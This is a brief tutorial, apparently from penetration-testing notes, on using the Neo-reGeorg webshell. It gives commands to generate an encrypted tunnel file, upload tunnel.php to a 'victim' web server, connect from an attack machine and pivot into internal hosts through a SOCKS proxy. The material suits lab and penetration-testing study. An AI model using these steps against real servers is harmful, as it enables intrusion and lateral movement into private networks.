Neo-reGeorg Webshell
Neo-reGeorg is unlike other webshells where it will not yield you command execution on a host natively. However, if you are able to establish a neo-regeorg on a host in the first place you already have access to it.
Neo-reGeorg allows you to compromise a web server (typically public facing) and to tunnel through it to other internal only hosts in the network. This is called HTTP Tunneling.
HTTP Tunneling
For HTTP Tunneling, we will be using a Neo-reGeorg tool to establish a communication channel to access the internal network devices.
Generate an encrypted client file to upload it to the victim web server
python3 neoreg.py generate -k my_key -kis the key for the file so in the real world make it strongThe previous command generates encrypted Tunneling clients with
my_keykey in theneoreg_servers/directory. Note that there are various extensions available, including PHP, ASPX, JSP, etc.We will be using
tunnel.phpUpload the
tunnel.phpfile to the victim web serverNow let's connect to the neo from our attack machine that we just uploaded
python3 neoreg.py -k my_key -u http://MACHINE_IP/uploader/files/tunnel.phpOnce you connect, we are ready to use the tunnel connection as a proxy on our local machine
127.0.0.1:1080Now we can tunnel further into the network
To curl with socks, run the below command
curl --socks5 127.0.0.1:1080 http://172.20.0.121:80Last updated